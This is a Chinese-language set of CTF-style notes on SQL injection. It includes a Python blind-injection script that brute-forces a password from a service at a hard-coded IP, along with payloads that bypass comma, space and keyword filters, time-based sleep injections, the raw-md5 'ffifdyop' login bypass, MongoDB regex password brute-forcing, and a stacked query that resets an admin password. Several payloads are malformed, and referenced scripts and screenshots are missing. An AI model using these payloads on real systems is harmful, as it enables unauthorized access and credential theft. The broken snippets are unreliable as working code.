1.代碼審計發現 這里沒有用escape_string,因此存在注入。
1 function show($username){ 2 global $conn; 3 $sql = "select role from `user` where username ='".$username."'"; 4 $res = $conn ->query($sql); 5 if($res->num_rows>0){ 6 echo "$username is ".$res->fetch_assoc()['role']; 7 }else{ 8 die("Don't have this user!"); 9 } 10 }
通過這里注入可以得到pasaword,$usename為被 單引號引起,所以應該首先注意閉合單引號。
pyhton腳本如下:
1 # --coding:utf-8-- import requests 2 url="http://117.34.111.15:89/?action=show" 3 passwd="" 4 lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm" 5 for i in xrange(1,33): 6 print i 7 for p in lists: 8 param={'username':"-1'=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")='0"} 9 print requests.post(url,data=param).content 10 if "admin" in requests.post(url,data=param).content: 11 passwd=passwd+p 12 break 13 print passwd
首先可以通過注入得到password長度為32,即我們需要爆破32位長度的密碼。
利用 (-1=x=x=0)=true的邏輯來依次判斷出每一位密碼。
因為有32位,所以外層循環需要32次,對每一次都需要內層循環遍歷所有的數字和字母,當三個等於號為true時,頁面返回中會返回包含“admin”的字符串,此時可以將爆破出的一位密碼位保留。
登陸就是flag 登陸這里的admin判斷直接用admin%c2這個去繞過(mysql客戶端與數據庫的字符轉換trick,當客戶端為utf8,數據庫為latin1的時候,latin1不允許出現漢字,所以將%c2視為無用部分舍去)。
2.當注入時出現逗號,空格被過濾且關鍵字段被過濾
首先創建一張表作為要被查詢的表作為演示
插入一些數據;
我們的目的是查詢出id=4的passwd的值,但是空格逗號被過濾以及passwd字段被過濾,所以首先繞過空格和逗號的過濾,
空格的過濾可以用//,/**/,(),+繞過
逗號,關鍵字段可以用join查詢來實現,以便於實現union聯合查詢。
首先看一下join的效果:
這里的1,2,3,4是我們可以替換的用於顯示的數據位,比如:
我們通過id主鍵來查詢出每一條結果
為了查出第四條記錄的passwd字段的值,首先構造:
1 select * from((select 1)a join (select 2)b join (select 3)c join (select 4)d)
假設字段三是數據回顯位,則將(select 3)改寫為:
1 (select result.3 from (select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r) union select * from table3 limit 1 offset 3) result)c
則最終語句為:
1 select * from((select 1)a join (select 2)b join (select result.3 from(select * from ((select 1)q join (select 2)w join (select 3)e join (select 4)r)union select * from table3 limit 1 offset 4)result)c join (select 4)d);
3.過濾了逗號,延時注入(sleep()函數):
首先無法使用if函數,但是可以用select case函數代替
1 select case when (條件1) 代碼1 else (條件2) 代碼2
即可構造
1 1 -1' select case when (substring(select flag from flag from i for 1))=j) then sleep(6) else 0 end and '1'='1
腳本如下:
4.sql in hash
代碼如下:
1 <?php 2 error_reporting(0); 3 $link = mysql_connect('localhost', 'root', ''); 4 if (!$link) { 5 die('Could not connect to MySQL: ' . mysql_error()); 6 } 7 // 選擇數據庫 8 $db = mysql_select_db("test", $link); 9 if(!$db) 10 { 11 echo 'select db error'; 12 exit(); 13 } 14 // 執行sql 15 $password = "ffifdyop"; 16 $sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"; 17 var_dump($sql); 18 $result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' ); 19 $row1 = mysql_fetch_row($result); 20 var_dump($row1); 21 mysql_close($link); 22 ?>
我們在不知道密碼的情況下要完成登陸,切密碼經過hash,因為可以將hash之后的16進制轉為字符串,即
即此時可構成注入 ,查詢語句如下:
1 select * from admin where pass= ''or'6<trash>'
5.sql邏輯繞過:
1 select * from *** where username ="" and password="";
即構造select * from *** where username = " " =" " and password =" " =" ";
6.基於時間的延時注入:
1 ' or sleep(10) and ''='
發現存在延時,此時首先測試flag的長度:
' and select((select length(flag) from flag)=32) or '1
7.基於Mongodb的注入:
利用正則爆破admin賬戶的密碼:
當匹配每一位字符時,若匹配正確則302跳轉,若匹配錯誤,則無跳轉,則根據是否發生跳轉來判斷每一位字符。
利用(.*)正則表達式去匹配除了被測試的當前字符以外的其他所有字符。
或者利用另一種正則匹配:
若匹配當前字符正確,則繼續匹配,由於默認最后一個字符為 } ,則當匹配到 } 時,匹配結束。
8.寬字節盲注:
情況:and、or、mid、substr、union、>、<、空白符、ascii等為敏感詞,
9.重置用戶密碼:
1 select username ,password from user where username='$username'
1 select username ,password from user where username='x';update user set password='123456' where userId=1 #''
10.邏輯符號被過濾時的注入
過濾*,#,/ ,and,or,|,union,空格
此時可以用的payload
①:admin'%(1)%'1
括號中為所使用的判斷條件
例如可以判斷數據庫長度:
admin'%(select length(database())>1)%'1'
判斷數據庫名字
admin'%(ascii(mid(database()) from 1 for 1)=90)%'1'
②:admin'^(1)^'1'
同上,括號中填入要執行的條件